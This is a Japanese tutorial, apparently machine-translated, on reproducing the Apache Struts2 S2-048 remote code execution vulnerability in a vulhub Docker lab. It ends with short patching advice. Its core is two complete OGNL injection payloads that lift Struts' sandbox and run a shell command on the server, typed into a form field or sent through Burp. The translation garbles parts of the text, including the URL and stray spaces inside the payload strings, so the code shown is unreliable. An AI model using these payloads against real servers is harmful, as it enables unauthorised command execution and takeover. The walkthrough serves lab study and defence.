Struts2 フレームワークは、Java EE Web アプリケーションを開発するためのオープンソース Web アプリケーション アーキテクチャです。 Java Servlet API を利用および拡張し、開発者が MVC アーキテクチャを採用することを奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。
Apache Struts2 2.3.x シリーズでは、struts2-struts1-plugin プラグインが有効になっており、struts2-showcase ディレクトリが存在することが、ActionMessage が顧客が制御可能なパラメーター データを受信するときに発生します。後続のデータ スプライシングが渡される 不適切な後処理により、任意のコードが実行される
struts2-struts1-plugin プラグインが有効になっている Apache Struts 2.3.x シリーズのバージョン。
1. Apache Struts2を自前で構築する場合は、vulhubのdocker環境を利用して構築します。
ダウンロードアドレス: https://github.com/vulhub/vulhub
2. ダウンロード後、解凍して s2-048 ディレクトリに入り、脆弱性環境を起動します
cd cd vulhub-master/struts2/s2-048/ //ディレクトリを入力します
docker-compose up -d //射撃場を開始します
3. docker psを使用して起動が成功したかどうかを確認します
4. http:your-を入力します。ブラウザの .action で ip:8080/hello、次のページ環境が設定されていることを確認します
1 ブラウザに次のリンクを入力して、脆弱性ページにアクセスします
http ://192.168.3.160:8080/integration/saveGangster.action
2. 最初のフォーム「Gangster Name」に ${1+1} と入力し、送信をクリックして実行された OGNL を表示します。式
2.「Gangster Name」で、${1+1} を次のコマンドで実行されるペイロード ステートメントに変更します
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)。(# _memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl. OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames() .clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@ org.apache.commons.io.IOUtils@toString(@ java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
3 Burp を使用してパケットをキャプチャし、コマンド実行用のペイロードに変更することもできます
注: ペイロードは URL エンコードする必要があります
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess) ?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil) @class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe) ','/c',#cmd}:{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p. redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons. io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4. 自動スクリプトまたはグラフィカル ツールを使用して実装できますが、ここでは説明しません。
ツールはGitHubで検索してダウンロードできます
1. アップグレード最新バージョンにアップグレードすることをお勧めします
2. ビジネスの状況に応じて、struts-2.3を無効にして閉じる(削除)します。 .xappsstruts2-showcase.war パッケージ
以上がApache Struts2--048 リモート コード実行の脆弱性を再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。